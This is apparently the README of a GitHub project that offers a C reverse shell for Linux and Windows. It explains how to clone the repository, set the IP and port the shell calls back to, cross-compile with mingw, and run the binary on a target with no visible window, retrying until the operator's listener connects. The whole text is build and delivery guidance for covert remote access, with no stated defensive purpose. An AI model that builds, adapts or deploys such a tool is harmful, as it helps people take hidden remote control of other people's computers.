A reverse shell for Windows and Linux written in C.
Features:
- Linux and Windows version.
- Runs in the background (on both, Linux and Windows, no blocking terminal or black screen).
- You can choose between waiting for the client (if it's no listening) or not.
- Compile with just one command (see at the bottom of the
README.md), there is also aMakefile.
For Windows you will need mingw-w64 compiler (the .exe binary is compiled in linux):
sudo apt install gcc-mingw-w64- Clone repo:
git clone https://github.com/izenynn/c-reverse-shell.git- Change client IP and client PORT with
change_client.sh(you can change it manually insidelinux.candwindows.cif you prefer):
./change_client.sh [CLIENT_IP] [CLIENT_PORT]- Compile for Linux and Windows with
make(equivalent tomake all):
make- And ✨ magic ✨ compile the program in your target, or just send the binary, and execute it, make sure your client is listening 😊.
Additionally you can compile with WAIT_FOR_CLIENT true, this will make the program loop until the connection to the client is established, instead of returning an error in the connection:
make WAIT_FOR_CLIENT=TRUENOTE: this doen't work on windows, not sure why, but I'm sleepy, so maybe I fix it another day (or pull request if you fix it please 😊).
Other Makefile rules:
make allmake linuxmake windowsmake remake all WAIT_FOR_CLIENT=TRUEmake linux WAIT_FOR_CLIENT=TRUEmake windows WAIT_FOR_CLIENT=TRUEmake re WAIT_FOR_CLIENT=TRUEmake clean
In case you don't have the Makefile, just copy the reverse-shell.c file and compile it with the following command:
- Linux
gcc -std=c99 linux.c -o rsh.outgcc -std=c99 linux.c -o rsh.out -D WAIT_FOR_CLIENT- Windows:
i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -lws2_32i686-w64-mingw32-gcc-win32 -std=c99 windows.c -o rsh.exe -lws2_32 -D WAIT_FOR_CLIENT